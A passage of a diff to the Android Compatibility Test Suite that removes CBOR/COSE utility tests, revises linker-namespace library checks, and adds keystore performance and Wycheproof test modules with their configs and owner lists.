-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new ByteString(new byte[]{1, 2, 33, (byte) 254}));
-        assertEquals("[0x01, 0x02, 0x21, 0xfe]", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintUnsignedInteger() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new UnsignedInteger(42));
-        assertEquals("42", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintNegativeInteger() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new NegativeInteger(-42));
-        assertEquals("-42", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintDouble() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new DoublePrecisionFloat(1.1));
-        assertEquals("1.1", Util.cborPrettyPrint(baos.toByteArray()));
-
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new DoublePrecisionFloat(-42.0000000001));
-        assertEquals("-42.0000000001", Util.cborPrettyPrint(baos.toByteArray()));
-
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new DoublePrecisionFloat(-5));
-        assertEquals("-5", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintFloat() throws CborException {
-        ByteArrayOutputStream baos;
-
-        // TODO: These two tests yield different results on different devices, disable for now
-        /*
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SinglePrecisionFloat(1.1f));
-        assertEquals("1.100000023841858", Util.cborPrettyPrint(baos.toByteArray()));
-
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SinglePrecisionFloat(-42.0001f));
-        assertEquals("-42.000099182128906", Util.cborPrettyPrint(baos.toByteArray()));
-        */
-
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SinglePrecisionFloat(-5f));
-        assertEquals("-5", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintHalfFloat() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new HalfPrecisionFloat(1.1f));
-        assertEquals("1.099609375", Util.cborPrettyPrint(baos.toByteArray()));
-
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new HalfPrecisionFloat(-42.0001f));
-        assertEquals("-42", Util.cborPrettyPrint(baos.toByteArray()));
-
-        baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new HalfPrecisionFloat(-5f));
-        assertEquals("-5", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintFalse() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SimpleValue(SimpleValueType.FALSE));
-        assertEquals("false", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintTrue() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SimpleValue(SimpleValueType.TRUE));
-        assertEquals("true", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintNull() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SimpleValue(SimpleValueType.NULL));
-        assertEquals("null", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintUndefined() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new SimpleValue(SimpleValueType.UNDEFINED));
-        assertEquals("undefined", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintTag() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new CborBuilder()
-                        .addTag(0)
-                        .add("ABC")
-                        .build());
-        byte[] data = baos.toByteArray();
-        assertEquals("tag 0 'ABC'", Util.cborPrettyPrint(data));
-    }
-
-    @Test
-    public void prettyPrintArrayNoCompounds() throws CborException {
-        // If an array has no compound elements, no newlines are used.
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new CborBuilder()
-                .addArray()                 // add array
-                .add(1)
-                .add("text")
-                .add(new ByteString(new byte[]{1, 2, 3}))
-                .end()
-                .build());
-        assertEquals("[1, 'text', [0x01, 0x02, 0x03]]", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintArray() throws CborException {
-        // This array contains a compound value so will use newlines
-        CborBuilder array = new CborBuilder();
-        ArrayBuilder<CborBuilder> arrayBuilder = array.addArray();
-        arrayBuilder.add(2);
-        arrayBuilder.add(3);
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new CborBuilder()
-                .addArray()                 // add array
-                .add(1)
-                .add("text")
-                .add(new ByteString(new byte[]{1, 2, 3}))
-                .add(array.build().get(0))
-                .end()
-                .build());
-        assertEquals("[\n"
-                + "  1,\n"
-                + "  'text',\n"
-                + "  [0x01, 0x02, 0x03],\n"
-                + "  [2, 3]\n"
-                + "]", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintMap() throws CborException {
-        // If an array has no compound elements, no newlines are used.
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new CborBuilder()
-                .addMap()
-                .put("Foo", 42)
-                .put("Bar", "baz")
-                .put(43, 44)
-                .put(new UnicodeString("bstr"), new ByteString(new byte[]{1, 2, 3}))
-                .put(new ByteString(new byte[]{1, 2, 3}), new UnicodeString("other way"))
-                .end()
-                .build());
-        assertEquals("{\n"
-                + "  43 : 44,\n"
-                + "  [0x01, 0x02, 0x03] : 'other way',\n"
-                + "  'Bar' : 'baz',\n"
-                + "  'Foo' : 42,\n"
-                + "  'bstr' : [0x01, 0x02, 0x03]\n"
-                + "}", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void cborEncodeDecode() {
-        // TODO: add better coverage and check specific encoding etc.
-        assertEquals(42, Util.cborDecodeInt(Util.cborEncodeInt(42)));
-        assertEquals(123456, Util.cborDecodeInt(Util.cborEncodeInt(123456)));
-        assertFalse(Util.cborDecodeBoolean(Util.cborEncodeBoolean(false)));
-        assertTrue(Util.cborDecodeBoolean(Util.cborEncodeBoolean(true)));
-    }
-
-    private KeyPair coseGenerateKeyPair() throws Exception {
-        KeyPairGenerator kpg = KeyPairGenerator.getInstance(
-            KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
-        KeyGenParameterSpec.Builder builder =
-                new KeyGenParameterSpec.Builder(
-                    "coseTestKeyPair",
-                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
-                        .setDigests(KeyProperties.DIGEST_SHA256, KeyProperties.DIGEST_SHA512);
-        kpg.initialize(builder.build());
-        return kpg.generateKeyPair();
-    }
-
-    @Test
-    public void coseSignAndVerify() throws Exception {
-        KeyPair keyPair = coseGenerateKeyPair();
-        byte[] data = new byte[] {0x10, 0x11, 0x12, 0x13};
-        byte[] detachedContent = new byte[] {};
-        byte[] sig = Util.coseSign1Sign(keyPair.getPrivate(), data, detachedContent, null);
-        assertTrue(Util.coseSign1CheckSignature(sig, detachedContent, keyPair.getPublic()));
-        assertArrayEquals(data, Util.coseSign1GetData(sig));
-        assertEquals(new ArrayList() {}, Util.coseSign1GetX5Chain(sig));
-    }
-
-    @Test
-    public void coseSignAndVerifyDetachedContent() throws Exception {
-        KeyPair keyPair = coseGenerateKeyPair();
-        byte[] data = new byte[] {};
-        byte[] detachedContent = new byte[] {0x20, 0x21, 0x22, 0x23, 0x24};
-        byte[] sig = Util.coseSign1Sign(keyPair.getPrivate(), data, detachedContent, null);
-        assertTrue(Util.coseSign1CheckSignature(sig, detachedContent, keyPair.getPublic()));
-        assertArrayEquals(data, Util.coseSign1GetData(sig));
-        assertEquals(new ArrayList() {}, Util.coseSign1GetX5Chain(sig));
-    }
-
-    @Test
-    public void coseSignAndVerifySingleCertificate() throws Exception {
-        KeyPair keyPair = coseGenerateKeyPair();
-        byte[] data = new byte[] {};
-        byte[] detachedContent = new byte[] {0x20, 0x21, 0x22, 0x23, 0x24};
-        ArrayList<X509Certificate> certs = new ArrayList() {};
-        certs.add(Util.signPublicKeyWithPrivateKey("coseTestKeyPair", "coseTestKeyPair"));
-        byte[] sig = Util.coseSign1Sign(keyPair.getPrivate(), data, detachedContent, certs);
-        assertTrue(Util.coseSign1CheckSignature(sig, detachedContent, keyPair.getPublic()));
-        assertArrayEquals(data, Util.coseSign1GetData(sig));
-        assertEquals(certs, Util.coseSign1GetX5Chain(sig));
-    }
-
-    @Test
-    public void coseSignAndVerifyMultipleCertificates() throws Exception {
-        KeyPair keyPair = coseGenerateKeyPair();
-        byte[] data = new byte[] {};
-        byte[] detachedContent = new byte[] {0x20, 0x21, 0x22, 0x23, 0x24};
-        ArrayList<X509Certificate> certs = new ArrayList() {};
-        certs.add(Util.signPublicKeyWithPrivateKey("coseTestKeyPair", "coseTestKeyPair"));
-        certs.add(Util.signPublicKeyWithPrivateKey("coseTestKeyPair", "coseTestKeyPair"));
-        certs.add(Util.signPublicKeyWithPrivateKey("coseTestKeyPair", "coseTestKeyPair"));
-        byte[] sig = Util.coseSign1Sign(keyPair.getPrivate(), data, detachedContent, certs);
-        assertTrue(Util.coseSign1CheckSignature(sig, detachedContent, keyPair.getPublic()));
-        assertArrayEquals(data, Util.coseSign1GetData(sig));
-        assertEquals(certs, Util.coseSign1GetX5Chain(sig));
-    }
-
-    @Test
-    public void coseMac0() throws Exception {
-        SecretKey secretKey = new SecretKeySpec(new byte[32], "");
-        byte[] data = new byte[] {0x10, 0x11, 0x12, 0x13};
-        byte[] detachedContent = new byte[] {};
-        byte[] mac = Util.coseMac0(secretKey, data, detachedContent);
-        assertEquals("[\n"
-                + "  [0xa1, 0x01, 0x05],\n"
-                + "  {},\n"
-                + "  [0x10, 0x11, 0x12, 0x13],\n"
-                + "  [0x6c, 0xec, 0xb5, 0x6a, 0xc9, 0x5c, 0xae, 0x3b, 0x41, 0x13, 0xde, 0xa4, "
-                + "0xd8, 0x86, 0x5c, 0x28, 0x2c, 0xd5, 0xa5, 0x13, 0xff, 0x3b, 0xd1, 0xde, 0x70, "
-                + "0x5e, 0xbb, 0xe2, 0x2d, 0x42, 0xbe, 0x53]\n"
-                + "]", Util.cborPrettyPrint(mac));
-    }
-
-    @Test
-    public void coseMac0DetachedContent() throws Exception {
-        SecretKey secretKey = new SecretKeySpec(new byte[32], "");
-        byte[] data = new byte[] {};
-        byte[] detachedContent = new byte[] {0x10, 0x11, 0x12, 0x13};
-        byte[] mac = Util.coseMac0(secretKey, data, detachedContent);
-        // Same HMAC as in coseMac0 test, only difference is that payload is null.
-        assertEquals("[\n"
-                + "  [0xa1, 0x01, 0x05],\n"
-                + "  {},\n"
-                + "  null,\n"
-                + "  [0x6c, 0xec, 0xb5, 0x6a, 0xc9, 0x5c, 0xae, 0x3b, 0x41, 0x13, 0xde, 0xa4, "
-                + "0xd8, 0x86, 0x5c, 0x28, 0x2c, 0xd5, 0xa5, 0x13, 0xff, 0x3b, 0xd1, 0xde, 0x70, "
-                + "0x5e, 0xbb, 0xe2, 0x2d, 0x42, 0xbe, 0x53]\n"
-                + "]", Util.cborPrettyPrint(mac));
-    }
-
-    @Test
-    public void replaceLineTest() {
-        assertEquals("foo",
-                Util.replaceLine("Hello World", 0, "foo"));
-        assertEquals("foo\n",
-                Util.replaceLine("Hello World\n", 0, "foo"));
-        assertEquals("Hello World",
-                Util.replaceLine("Hello World", 1, "foo"));
-        assertEquals("Hello World\n",
-                Util.replaceLine("Hello World\n", 1, "foo"));
-        assertEquals("foo\ntwo\nthree",
-                Util.replaceLine("one\ntwo\nthree", 0, "foo"));
-        assertEquals("one\nfoo\nthree",
-                Util.replaceLine("one\ntwo\nthree", 1, "foo"));
-        assertEquals("one\ntwo\nfoo",
-                Util.replaceLine("one\ntwo\nthree", 2, "foo"));
-        assertEquals("one\ntwo\nfoo",
-                Util.replaceLine("one\ntwo\nthree", -1, "foo"));
-        assertEquals("one\ntwo\nthree\nfoo",
-                Util.replaceLine("one\ntwo\nthree\nfour", -1, "foo"));
-        assertEquals("one\ntwo\nfoo\nfour",
-                Util.replaceLine("one\ntwo\nthree\nfour", -2, "foo"));
-    }
-
-}
diff --git a/tests/tests/identity/src/android/security/identity/cts/X509CertificateSigningTest.java b/tests/tests/identity/src/android/security/identity/cts/X509CertificateSigningTest.java
index 7153982..0fe6e2f 100644
--- a/tests/tests/identity/src/android/security/identity/cts/X509CertificateSigningTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/X509CertificateSigningTest.java
@@ -27,6 +27,7 @@
 import android.security.keystore.KeyProperties;
 import android.util.AtomicFile;
 import android.util.Log;
+import com.android.security.identity.internal.Util;
 
 import androidx.test.InstrumentationRegistry;
 
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index ddb21ce..5aa391f 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -44,6 +44,7 @@
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
     use_embedded_native_libs: false,
+    per_testcase_directory: true,
 }
 
 cc_test_library {
diff --git a/tests/tests/jni/TEST_MAPPING b/tests/tests/jni/TEST_MAPPING
index 5d9eea5..a97e58a 100644
--- a/tests/tests/jni/TEST_MAPPING
+++ b/tests/tests/jni/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsJniTestCases"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsJniTestCases"
+    }
   ]
 }
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 157b3c0..a1cb4bc 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -80,15 +80,6 @@
 
 static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
 
-static bool is_directory(const char* path) {
-  struct stat sb;
-  if (stat(path, &sb) != -1) {
-    return S_ISDIR(sb.st_mode);
-  }
-
-  return false;
-}
-
 static bool not_accessible(const std::string& err) {
   return err.find("dlopen failed: library \"") == 0 &&
          err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos;
@@ -190,6 +181,12 @@
   return error;
 }
 
+static bool skip_subdir_load_check(const std::string& path) {
+  static bool vndk_lite = android::base::GetBoolProperty("ro.vndk.lite", false);
+  static const std::string system_vndk_dir = kSystemLibraryPath + "/vndk-sp-";
+  return vndk_lite && android::base::StartsWith(path, system_vndk_dir);
+}
+
 // Checks that a .so library can or cannot be loaded with dlopen() and
 // System.load(), as appropriate by the other settings:
 // -  clazz: The java class instance of android.jni.cts.LinkerNamespacesHelper,
@@ -241,7 +238,7 @@
         return false;
       }
     } else {  // !is_in_search_path
-      if (loaded) {
+      if (loaded && !skip_subdir_load_check(path)) {
         errors->push_back("The library \"" + path +
                           "\" is a public library that was loaded from a subdirectory.");
         return false;
@@ -299,11 +296,19 @@
       }
 
       std::string path = dir + "/" + dp->d_name;
-      if (is_directory(path.c_str())) {
-        dirs.push(path);
-      } else if (!check_lib(env, clazz, path, library_search_paths, public_library_basenames,
-                            test_system_load_library, check_absence, errors)) {
-        success = false;
+      struct stat sb;
+      // Use lstat to not dereference a symlink. If it links out of library_path
+      // it can be ignored because the Bionic linker derefences symlinks before
+      // checking the path. If it links inside library_path we'll get to the
+      // link target anyway.
+      if (lstat(path.c_str(), &sb) != -1) {
+        if (S_ISDIR(sb.st_mode)) {
+          dirs.push(path);
+        } else if (!S_ISLNK(sb.st_mode) &&
+                   !check_lib(env, clazz, path, library_search_paths, public_library_basenames,
+                              test_system_load_library, check_absence, errors)) {
+          success = false;
+        }
       }
     }
   }
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 1f4f351..f0988b1 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -41,8 +41,8 @@
 
 class LinkerNamespacesHelper {
     private final static String PUBLIC_CONFIG_DIR = "/system/etc/";
+    private final static String SYSTEM_EXT_CONFIG_DIR = "/system_ext/etc/";
     private final static String PRODUCT_CONFIG_DIR = "/product/etc/";
-    private final static String SYSTEM_CONFIG_FILE = PUBLIC_CONFIG_DIR + "public.libraries.txt";
     private final static Pattern EXTENSION_CONFIG_FILE_PATTERN = Pattern.compile(
             "public\\.libraries-([A-Za-z0-9\\-_.]+)\\.txt");
     private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
@@ -204,16 +204,21 @@
 
         Collections.addAll(apexLibs, PUBLIC_APEX_LIBRARIES);
 
-        // Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
-        // -company.txt files are well-formed. The libraries however are not loaded for test;
-        // It is done in another test CtsUsesNativeLibraryTest because since Android S those libs
-        // are not available unless they are explicited listed in the app manifest.
-
+        // Check if /system/etc/public.libraries-company.txt,
+        // /system_ext/etc/public.libraries-company.txt
+        // and /product/etc/public.libraries-company.txt files are well-formed. The
+        // libraries however are not loaded for test;
+        // It is done in another test CtsUsesNativeLibraryTest because since Android S
+        // those libs are not available unless they are explicited listed in the app
+        // manifest.
         List<String> oemLibs = new ArrayList<>();
         String oemLibsError = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, oemLibs);
         if (oemLibsError != null) return oemLibsError;
 
-        // PRODUCT libs that passed are also available
+        List<String> systemextLibs = new ArrayList<>();
+        String systemextLibsError = readExtensionConfigFiles(SYSTEM_EXT_CONFIG_DIR, systemextLibs);
+        if (systemextLibsError != null) return systemextLibsError;
+
         List<String> productLibs = new ArrayList<>();
         String productLibsError = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, productLibs);
         if (productLibsError != null) return productLibsError;
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index b464826..da32ac4 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -33,6 +33,21 @@
     platform_apis: true,
 }
 
+java_library {
+    name: "cts-keystore-test-util",
+
+    srcs: ["src/android/keystore/cts/util/**/*.java"],
+
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+        "androidx.test.rules",
+        "junit",
+    ],
+
+    platform_apis: true,
+}
+
 android_test {
     name: "CtsKeystoreTestCases",
     defaults: ["cts_defaults"],
@@ -47,9 +62,11 @@
         "android.test.base",
     ],
     static_libs: [
+        "Nene",
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "core-tests-support",
+        "cts-keystore-test-util",
         "cts-keystore-user-auth-helper-library",
         "cts-security-test-support-library",
         "cts-wm-util",
@@ -60,7 +77,7 @@
         "platformprotosnano",
         "testng",
     ],
-    srcs: ["src/android/keystore/**/*.java"],
+    srcs: ["src/android/keystore/cts/*.java"],
     // Can't use public/test API only because some tests use hidden API
     // (e.g. device-provided Bouncy Castle).
     //
@@ -71,3 +88,59 @@
     // sdk_version: "current"
     platform_apis: true,
 }
+
+android_test {
+    name: "CtsKeystorePerformanceTestCases",
+    defaults: ["cts_defaults"],
+    manifest: "CtsKeystorePerformanceTestManifest.xml",
+    test_config: "CtsKeystorePerformanceTestConfig.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "core-tests-support",
+        "cts-keystore-test-util",
+        "ctstestrunner-axt",
+        "junit",
+        "platformprotosnano",
+    ],
+    srcs: [
+        "src/android/keystore/cts/performance/**/*.java",
+    ],
+    // sdk_version: "test_current",
+    platform_apis: true,
+}
+
+android_test {
+    name: "CtsKeystoreWycheproofTestCases",
+    defaults: ["cts_defaults"],
+    manifest: "CtsKeystoreWycheproofTestManifest.xml",
+    test_config: "CtsKeystoreWycheproofTestConfig.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    static_libs: [
+        "bouncycastle-bcpkix-unbundled",
+        "bouncycastle-unbundled",
+        "cts-core-test-runner-axt",
+        "wycheproof-keystore",
+        "wycheproof-gson",
+        "cts-keystore-test-util",
+    ],
+    // sdk_version: "test_current",
+    platform_apis: true,
+}
diff --git a/tests/tests/keystore/CtsKeystorePerformanceTestConfig.xml b/tests/tests/keystore/CtsKeystorePerformanceTestConfig.xml
new file mode 100644
index 0000000..8e15dcd
--- /dev/null
+++ b/tests/tests/keystore/CtsKeystorePerformanceTestConfig.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Keystore performance tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsKeystorePerformanceTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.keystore.cts.performance" />
+        <option name="runtime-hint" value="17m" />
+        <option name="test-timeout" value="34m" />
+        <option name="hidden-api-checks" value="false" />
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/keystore/CtsKeystorePerformanceTestManifest.xml b/tests/tests/keystore/CtsKeystorePerformanceTestManifest.xml
new file mode 100644
index 0000000..f7d7bd6
--- /dev/null
+++ b/tests/tests/keystore/CtsKeystorePerformanceTestManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.keystore.cts.performance">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.keystore.cts.performance"
+                     android:label="CTS tests of android.keystore.cts.performance">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/keystore/CtsKeystoreWycheproofTestConfig.xml b/tests/tests/keystore/CtsKeystoreWycheproofTestConfig.xml
new file mode 100644
index 0000000..83929f1
--- /dev/null
+++ b/tests/tests/keystore/CtsKeystoreWycheproofTestConfig.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Keystore wycheproof tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsKeystoreWycheproofTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.google.security.wycheproof" />
+        <option name="runtime-hint" value="17m" />
+        <option name="test-timeout" value="34m" />
+        <option name="hidden-api-checks" value="false" />
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/keystore/CtsKeystoreWycheproofTestManifest.xml b/tests/tests/keystore/CtsKeystoreWycheproofTestManifest.xml
new file mode 100644
index 0000000..12e24f2
--- /dev/null
+++ b/tests/tests/keystore/CtsKeystoreWycheproofTestManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.google.security.wycheproof">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.google.security.wycheproof"
+                     android:label="CTS tests of com.google.security.wycheproof">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/keystore/OWNERS b/tests/tests/keystore/OWNERS
index 30685c8..4d92596 100644
--- a/tests/tests/keystore/OWNERS
+++ b/tests/tests/keystore/OWNERS
@@ -1,4 +1,11 @@
-# Bug component: 36824
+# Bug component: 1084732
+#
+# Bugs for failures on Pixel devices should be assigned to frankwoo@, cc tommychiu@
+# Bugs for failures on Cuttlefish should be assigned to cloud-android-devs@
+# Bugs for failures that affect many/all devices should be assigned to android-hardware-security@
+#
+# Please CC android-hardware-security on all bugs.
 swillden@google.com
-jdanis@google.com
 jbires@google.com
+eranm@google.com
+drysdale@google.com
diff --git a/tests/tests/keystore/TEST_MAPPING b/tests/tests/keystore/TEST_MAPPING
index 0511967..08d89dc 100644
--- a/tests/tests/keystore/TEST_MAPPING
+++ b/tests/tests/keystore/TEST_MAPPING
@@ -10,15 +10,6 @@
           "exclude-filter": "android.keystore.cts.SignatureTest"
         },
         {
-          "exclude-filter": "android.keystore.cts.RsaSignaturePerformanceTest"
-        },
-        {
-          "exclude-filter": "android.keystore.cts.RsaKeyGenPerformanceTest"
-        },
-        {
-          "exclude-filter": "android.keystore.cts.RsaCipherPerformanceTest"
-        },
-        {
           "exclude-filter": "android.keystore.cts.MacTest#testLargeMsgKat"
         },
         {
@@ -28,30 +19,12 @@
           "exclude-filter": "android.keystore.cts.KeyGeneratorTest#testHmacKeySupportedSizes"
         },
         {
-          "exclude-filter": "android.keystore.cts.HmacMacPerformanceTest"
-        },
-        {
-          "exclude-filter": "android.keystore.cts.EcdsaSignaturePerformanceTest"
-        },
-        {
-          "exclude-filter": "android.keystore.cts.EcKeyGenPerformanceTest"
-        },
-        {
-          "exclude-filter": "android.keystore.cts.DesCipherPerformanceTest"
-        },
-        {
           "exclude-filter": "android.keystore.cts.CipherTest"
         },
         {
-          "exclude-filter": "android.keystore.cts.AttestationPerformanceTest"
-        },
-        {
           "exclude-filter": "android.keystore.cts.AndroidKeyStoreTest"
         },
         {
-          "exclude-filter": "android.keystore.cts.AesCipherPerformanceTest"
-        },
-        {
           "exclude-filter": "android.keystore.cts.AESCipherNistCavpKatTest"
         },
         {
@@ -69,6 +42,9 @@
   "postsubmit": [
     {
       "name": "CtsKeystoreTestCases"
+    },
+    {
+      "name": "CtsKeystorePerformanceTestCases"
     }
   ]
 }
diff --git a/tests/tests/keystore/hostside/Android.bp b/tests/tests/keystore/hostside/Android.bp
new file mode 100644
index 0000000..f4b69cf
--- /dev/null
+++ b/tests/tests/keystore/hostside/Android.bp
@@ -0,0 +1,46 @@
+// Copyright 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
